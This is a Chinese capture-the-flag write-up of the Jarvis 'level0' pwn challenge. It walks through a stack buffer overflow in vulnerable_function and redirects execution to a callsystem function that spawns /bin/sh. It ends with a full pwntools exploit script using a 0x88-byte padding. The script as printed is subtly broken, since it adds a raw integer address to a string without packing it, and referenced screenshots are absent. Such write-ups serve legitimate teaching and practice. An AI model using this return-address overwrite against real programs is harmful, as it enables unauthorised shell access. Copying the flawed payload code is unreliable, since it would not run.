Pwn-10月21-jarvis-level0
这题是补上昨天没写完的一题。。。虽然很简单??
检查保护措施
file level0andchecksec level0:
可以看到这种简单的pwn题基本不开保护措施,不然菜鸡我也玩不下去。。。
静态分析程序逻辑
一用IDA Pro打开程序文件看看main函数就脑残地看到了
return vulnerable_function()
跟着去这个函数看一看:
可以看到定义的buf空间为0x80,而能够用read函数读取的为0x200,能够造成栈溢出,并且实现函数地址覆盖。而且我们也可以看到一个callsystem函数,点进去看看可以发现
system("/bin/sh"):
那么根据静态分析出来的信息大概可以确定:首先通过main函数返回到vulnerable_function函数,然后通过vulnerable_function函数将某处返回地址覆盖为callsystem函数的地址,然后getshell。
动态分析程序逻辑
gdb 调试一下level0,先单步执行到vulnerable_function()函数:
先过一遍该函数,然后记录关键信息:
计算一下距离:
hex(0x7fffffffdfc0 + 8 - 0x7fffffffdf40) = 0x88,那为什么比定义的0x80要多0x08的距离呢?这里我们可以通过ida pro的alt + k快捷键查看buf的栈帧,会发现:
通过gdb调试里面的多个关键信息对比,其实多出来的0x08是栈底的内容,继续下一步,就可以看到最开始被压入栈中的返回地址被置栈顶,准备返回:
那么我们就可以开始构造exp啦?。
攻破
通过上面的逻辑我们可以写出如下exp:
#coding:utf-8 Author = "Yof3ng" from pwn import * io = process("level0") callsystem_addr = 0x400596 padding = (0x80 + 0x08)*"a" payload = padding + callsystem_addr io.recvline() io.sendline(payload) io.interactive()
运行效果:
然后就getshell啦?。